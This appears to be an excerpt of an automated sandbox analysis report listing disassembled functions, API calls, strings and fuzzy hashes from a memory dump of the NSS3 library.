Instruction Fuzzy Hash: F901C8F1A042009BE6319F25FC40BC7B7E1EF4631CF004525E85996710D632F925C79B

Function 6C6B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2D9C

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6B2E0B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: a1ce74ce7efae3cb3bbc7001f8194fa578f1aed650908ebe74219746469c34ac
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: B101A5B1A052009BEA309F26FC05BC7B7E1EF4635CF000435E85996B10D632E926879B

Function 6C64AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?), ref: 6C64AEA3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction ID: d4beca6a824bb1d71d39e8879d8913dc523618c4877198226f96f8f8ed3ae699
Opcode Fuzzy Hash: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction Fuzzy Hash: 26012866B00020B7E701A12CAC81EEF31988B8765CF08C432E929C7B43F616C90753EF

Function 6C73BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDC3
free.MOZGLUE(?,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDE9
free.MOZGLUE(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BE21
free.MOZGLUE(00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BE32

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: af336af8b27d992fa21b32f2eae049a667bfbfb1d19a04bae305c6b933b0995b
Instruction ID: 992507be4baaf9dfd8011da84b6a94263ca7a2b50ebca470f8b23a95036c7226
Opcode Fuzzy Hash: af336af8b27d992fa21b32f2eae049a667bfbfb1d19a04bae305c6b933b0995b
Instruction Fuzzy Hash: 391103B5B026249FDF41DF2AD909B023BF9BB4B356B740079E60E8B711E731A414CBA1

Function 6C737C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C737C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737C83
malloc.MOZGLUE(00000001), ref: 6C737C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C737C9F
PR_GetCurrentThread.NSS3 ref: 6C737CAD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction ID: 6979300b8875cc4a5a56324c41e5711a7760733da204fba30ab615125052ef7e
Opcode Fuzzy Hash: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction Fuzzy Hash: 84F0C2F191022AABEB009F3A9E0D997775CEF45269B118436E80DC3B01E731E514CAE9

Function 6C73ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE0D
free.MOZGLUE(?), ref: 6C73AE14
DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE36
free.MOZGLUE(?), ref: 6C73AE3D
free.MOZGLUE(00000000,00000000,?,?,6C73A6D8), ref: 6C73AE47

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction ID: 8eb390ff50a930e4da2965586d583c04dbc4ab80b6db0665755be242dd746e51
Opcode Fuzzy Hash: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction Fuzzy Hash: 9BF0F6B6201A29A7CE01AFA8D80A91777BCBF8A776710033CF12E83981D731E011C7E1

Function 6C5BBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C5BBE37

Strings

sl, xrefs: 6C5BBDD7
winFileSize, xrefs: 6C5BBF07
Psl, xrefs: 6C5BBED4

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: sl$Psl$winFileSize
API String ID: 4246442610-3042326240
Opcode ID: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction ID: f935569cab3085645f192ad5a790d506e193b0611e0c1054e96c032770cca209
Opcode Fuzzy Hash: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction Fuzzy Hash: 4061F131B04619DFCB04DF28C8E07A9BBB1FF4A314B144AA5E815ABB50D7B4E856CBD1

Function 6C5C7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7D13, 6C5C7D1F, 6C5C7D47, 6C5C7D53, 6C5C7D5F
%s at line %d of [%.10s], xrefs: 6C5C7D2E
database corruption, xrefs: 6C5C7D29

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction ID: 0770900bbcfdd9a89fd7644783f1fde0d1e6860f1b916f95a91d1c4e7004ae52
Opcode Fuzzy Hash: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction Fuzzy Hash: D8311471F0422997C710CF9ECC809BABBE1AF94385B5905AAE444B7F85D670D941C7A1

Function 6C5B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5B6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B6D20
%s at line %d of [%.10s], xrefs: 6C5B6D2F
database corruption, xrefs: 6C5B6D2A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction ID: b8c6cb7b0d450a6f42ea35460f2d2f854c3c000e5a8c090963a9079c55b0ccf9
Opcode Fuzzy Hash: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction Fuzzy Hash: 4B21F4306043059FC718CE1ACC61B5ABBF6AF84308F54492DD849ABF51EB71F949C791

Function 6C692FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+il,6C6932C2,<+il,00000000,00000000,?), ref: 6C692FDA

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C69300B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C69302A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

Part of subcall function 6C66C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C66C45D
Part of subcall function 6C66C3D0: TlsGetValue.KERNEL32 ref: 6C66C494
Part of subcall function 6C66C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C66C4A9
Part of subcall function 6C66C3D0: PR_Unlock.NSS3(?), ref: 6C66C4F4

Strings

<+il, xrefs: 6C692FD0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+il
API String ID: 2538134263-1603980441
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3c893c8700e0719eb87f462b18106b6dbb41e15125ffab322ce6724688f92db0
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 891127B6B011046BDB008E65DC00A9B77D99B8136CF184134E91CD7780E732ED15C7A5

Function 6C6ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6ECCB5
memcpy.VCRUNTIME140(6C7814F4,6C7802AC,00000090), ref: 6C6ECCD3
memcpy.VCRUNTIME140(6C781588,6C7802AC,00000090), ref: 6C6ECD2B

Part of subcall function 6C609AC0: socket.WSOCK32(?,00000017,6C6099BE), ref: 6C609AE6
Part of subcall function 6C609AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6099BE), ref: 6C609AFC

Part of subcall function 6C610590: closesocket.WSOCK32(6C609A8F,?,?,6C609A8F,00000000), ref: 6C610597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6ECCB0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction ID: eb1e2a592e65657f7e253ee89a8200fdf7517c3b4ab92da119108e6b79f5077e
Opcode Fuzzy Hash: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction Fuzzy Hash: 9E1142F1B072506FDB109F699A0B7423AA89347718F242039E62ACBBC2E771C40487DA

Function 6C5B7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5B8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5B8255
sqlite3_free.NSS3(00000000), ref: 6C5B8260

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 125c4260214a23db1c2cb748c7796296f7d5e5b05bb075700caca12f2fa3765b
Instruction ID: b693192596e2c877f99c0c5c77f6b0783a6e6b8f9b976ae1b541fdca50d14261
Opcode Fuzzy Hash: 125c4260214a23db1c2cb748c7796296f7d5e5b05bb075700caca12f2fa3765b
Instruction Fuzzy Hash: 56918B71A0261DCFEB05DFA0DC6C7ADBBB1BB06304F24013AD51AAB650D739A945CB92

Function 6C691D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C691D8F

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C691DA6

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C691E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C691ED0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 2fa3667c6bf8dc98dcb0aca68bc4146f42b30a2e6ce7ff371de06ae06168ecb8
Instruction ID: d7bd0de185a5ef3a354047eb3c6bd665f22f8f1b128d9832c916a80f5829c77f
Opcode Fuzzy Hash: 2fa3667c6bf8dc98dcb0aca68bc4146f42b30a2e6ce7ff371de06ae06168ecb8
Instruction Fuzzy Hash: EE516B75A0130ACFDB10CF98C884BAEB7BAFF49318F244129D8199B751D771E946CB94

Function 6C6E4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5C85D2,00000000,?,?), ref: 6C6E4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50D6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 97b0fda37ec85c29fbb94f6caed47dcbc7c06801c00c60fe582924a9832843f7
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 6C4181B2A012158FCB18CF18DCD179AB7E1BF4831871D466DD84ACBB02E775E891CB95

Function 6C60FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C60FDFE), ref: 6C60FFAD

